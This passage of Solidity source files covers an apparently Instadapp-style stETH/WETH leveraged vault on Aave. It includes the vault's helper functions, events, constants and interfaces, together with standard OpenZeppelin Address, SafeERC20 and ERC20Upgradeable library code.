require(_status != 2, "ReentrancyGuard: reentrant call");
_status = 2;
_;
_status = 1;
}
/**
* @dev Approves the token to the spender address with allowance amount.
* @notice Approves the token to the spender address with allowance amount.
* @param token_ token for which allowance is to be given.
* @param spender_ the address to which the allowance is to be given.
* @param amount_ amount of token.
*/
function approve(
address token_,
address spender_,
uint256 amount_
) internal {
TokenInterface tokenContract_ = TokenInterface(token_);
try tokenContract_.approve(spender_, amount_) {} catch {
IERC20 token = IERC20(token_);
token.safeApprove(spender_, 0);
token.safeApprove(spender_, amount_);
}
}
function getWethBorrowRate()
internal
view
returns (uint256 wethBorrowRate_)
{
(,,,, wethBorrowRate_,,,,,) = aaveProtocolDataProvider
.getReserveData(wethAddr);
}
function getStEthCollateralAmount()
internal
view
returns (uint256 stEthAmount_)
{
stEthAmount_ = astethToken.balanceOf(address(vaultDsa));
}
function getWethDebtAmount()
internal
view
returns (uint256 wethDebtAmount_)
{
wethDebtAmount_ = awethVariableDebtToken.balanceOf(address(vaultDsa));
}
struct BalVariables {
uint wethVaultBal;
uint wethDsaBal;
uint stethVaultBal;
uint stethDsaBal;
uint totalBal;
}
function getIdealBalances() public view returns (
BalVariables memory balances_
) {
IERC20 wethCon_ = IERC20(wethAddr);
IERC20 stethCon_ = IERC20(stEthAddr);
balances_.wethVaultBal = wethCon_.balanceOf(address(this));
balances_.wethDsaBal = wethCon_.balanceOf(address(vaultDsa));
balances_.stethVaultBal = stethCon_.balanceOf(address(this));
balances_.stethDsaBal = stethCon_.balanceOf(address(vaultDsa));
balances_.totalBal = balances_.wethVaultBal + balances_.wethDsaBal + balances_.stethVaultBal + balances_.stethDsaBal;
}
// not substracting revenue here
function netAssets() public view returns (
uint netCollateral_,
uint netBorrow_,
BalVariables memory balances_,
uint netSupply_,
uint netBal_
) {
netCollateral_ = getStEthCollateralAmount();
netBorrow_ = getWethDebtAmount();
balances_ = getIdealBalances();
netSupply_ = netCollateral_ + balances_.totalBal;
netBal_ = netSupply_ - netBorrow_;
}
function getCurrentExchangePrice()
public
view
returns (
uint256 exchangePrice_,
uint256 newRevenue_
)
{
(,,,, uint256 netBal_) = netAssets();
netBal_ = netBal_ - revenue;
uint totalSupply_ = totalSupply();
uint exchangePriceWithRevenue_;
if (totalSupply_ != 0) {
exchangePriceWithRevenue_ = (netBal_ * 1e18) / totalSupply_;
} else {
exchangePriceWithRevenue_ = 1e18;
}
// Only calculate revenue if there's a profit
if (exchangePriceWithRevenue_ > lastRevenueExchangePrice) {
uint revenueCut_ = ((exchangePriceWithRevenue_ - lastRevenueExchangePrice) * revenueFee) / 10000; // 10% revenue fee cut
newRevenue_ = revenueCut_ * netBal_ / 1e18;
exchangePrice_ = exchangePriceWithRevenue_ - revenueCut_;
} else {
exchangePrice_ = exchangePriceWithRevenue_;
}
}
function validateFinalRatio() internal view returns (bool maxIsOk_, bool minIsOk_, bool minGapIsOk_) {
// Not substracting revenue here as it can also help save position.
(uint netCollateral_, uint netBorrow_, , uint netSupply_,) = netAssets();
uint ratioMax_ = (netBorrow_ * 1e4) / netCollateral_; // Aave position ratio should not go above max limit
maxIsOk_ = ratios.maxLimit > ratioMax_;
uint ratioMin_ = (netBorrow_ * 1e4) / netSupply_; // net ratio (position + ideal) should not go above min limit
minIsOk_ = ratios.minLimit > ratioMin_;
minGapIsOk_ = ratios.minLimitGap < ratioMin_;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
import "./variables.sol";
contract Events is Variables {
event updateAuthLog(address auth_);
event updateRebalancerLog(address auth_, bool isAuth_);
event updateRatiosLog(uint16 maxLimit, uint16 minLimit, uint16 gap, uint128 maxBorrowRate);
event updateRevenueFeeLog(uint oldRevenueFee_, uint newRevenueFee_);
event updateWithdrawalFeeLog(uint oldWithdrawalFee_, uint newWithdrawalFee_);
event changeStatusLog(uint status_);
event supplyLog(address token_, uint256 amount_, address to_);
event withdrawLog(uint256 amount_, address to_);
event rebalanceOneLog(
address flashTkn_,
uint flashAmt_,
uint route_,
uint excessDebt_,
uint paybackDebt_,
uint totalAmountToSwap_,
uint extraWithdraw_,
uint unitAmt_
);
event rebalanceTwoLog(
uint withdrawAmt_,
address flashTkn_,
uint flashAmt_,
uint route_,
uint saveAmt_,
uint unitAmt_
);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
import "./interfaces.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import {ERC20Upgradeable} from "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
contract ConstantVariables is ERC20Upgradeable {
using SafeERC20 for IERC20;
address internal constant ethAddr = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
IInstaIndex internal constant instaIndex =
IInstaIndex(0x2971AdFa57b20E5a416aE5a708A8655A9c74f723);
address internal constant wethAddr =
0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address internal constant stEthAddr =
0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84;
IAaveProtocolDataProvider internal constant aaveProtocolDataProvider =
IAaveProtocolDataProvider(0x057835Ad21a177dbdd3090bB1CAE03EaCF78Fc6d);
IERC20 internal constant awethVariableDebtToken = IERC20(0xF63B34710400CAd3e044cFfDcAb00a0f32E33eCf);
IERC20 internal constant astethToken = IERC20(0x1982b2F5814301d4e9a8b0201555376e62F82428);
TokenInterface internal constant wethCoreContract = TokenInterface(wethAddr); // contains deposit & withdraw for weth
IERC20 internal constant wethContract = IERC20(wethAddr);
IERC20 internal constant stEthContract = IERC20(stEthAddr);
uint internal constant liquidationThreshold = 7500;
}
contract Variables is ConstantVariables {
uint internal _status = 1;
address public auth;
// only authorized addresses can rebalance
mapping (address => bool) public isRebalancer;
IDSA public vaultDsa;
// TODO: make sure all the values will <= 1e14
// Initially could be: [7400, 7000, 6900, 300 * 1e23] = [74%, 70%, 69%, 3%]
struct Ratios {
uint16 maxLimit; // Above this withdrawals are not allowed
uint16 minLimit; // After leverage the ratio should be below minLimit & above minLimitGap
uint16 minLimitGap;
// send borrow rate in 4 decimals from UI. In the smart contract it'll convert to 27 decimals which where is 100%
uint128 maxBorrowRate; // maximum borrow rate above this leveraging should not happen
}
Ratios public ratios;
// last revenue exchange price (helps in calculating revenue)
// Exchange price when revenue got updated last. It'll only increase overtime.
uint256 public lastRevenueExchangePrice;
uint256 public revenueFee; // 1000 = 10% (10% of user's profit)
uint256 public revenue;
uint256 public withdrawalFee; // 10000 = 100%
}
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IInstaIndex {
function build(
address owner_,
uint256 accountVersion_,
address origin_
) external returns (address account_);
}
interface IDSA {
function cast(
string[] calldata _targetNames,
bytes[] calldata _datas,
address _origin
) external payable returns (bytes32);
}
interface IAaveProtocolDataProvider {
function getUserReserveData(address asset, address user)
external
view
returns (
uint256 currentATokenBalance,
uint256 currentStableDebt,
uint256 currentVariableDebt,
uint256 principalStableDebt,
uint256 scaledVariableDebt,
uint256 stableBorrowRate,
uint256 liquidityRate,
uint40 stableRateLastUpdated,
bool usageAsCollateralEnabled
);
function getReserveConfigurationData(address asset)
external
view
returns (
uint256 decimals,
uint256 ltv,
uint256 liquidationThreshold,
uint256 liquidationBonus,
uint256 reserveFactor,
bool usageAsCollateralEnabled,
bool borrowingEnabled,
bool stableBorrowRateEnabled,
bool isActive,
bool isFrozen
);
function getReserveData(address asset)
external
view
returns (
uint256 availableLiquidity,
uint256 totalStableDebt,
uint256 totalVariableDebt,
uint256 liquidityRate,
uint256 variableBorrowRate,
uint256 stableBorrowRate,
uint256 averageStableBorrowRate,
uint256 liquidityIndex,
uint256 variableBorrowIndex,
uint40 lastUpdateTimestamp
);
}
interface TokenInterface {
function approve(address, uint256) external;
function transfer(address, uint256) external;
function transferFrom(
address,
address,
uint256
) external;
function deposit() external payable;
function withdraw(uint256) external;
function balanceOf(address) external view returns (uint256);
function decimals() external view returns (uint256);
function totalSupply() external view returns (uint256);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
import "./IERC20Upgradeable.sol";
import "./extensions/IERC20MetadataUpgradeable.sol";
import "../../utils/ContextUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
function __ERC20_init(string memory name_, string memory symbol_) internal onlyInitializing {
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, _allowances[owner][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = _allowances[owner][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Spend `amount` form the allowance of `owner` toward `spender`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[45] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC20Upgradeable.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20MetadataUpgradeable is IERC20Upgradeable {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
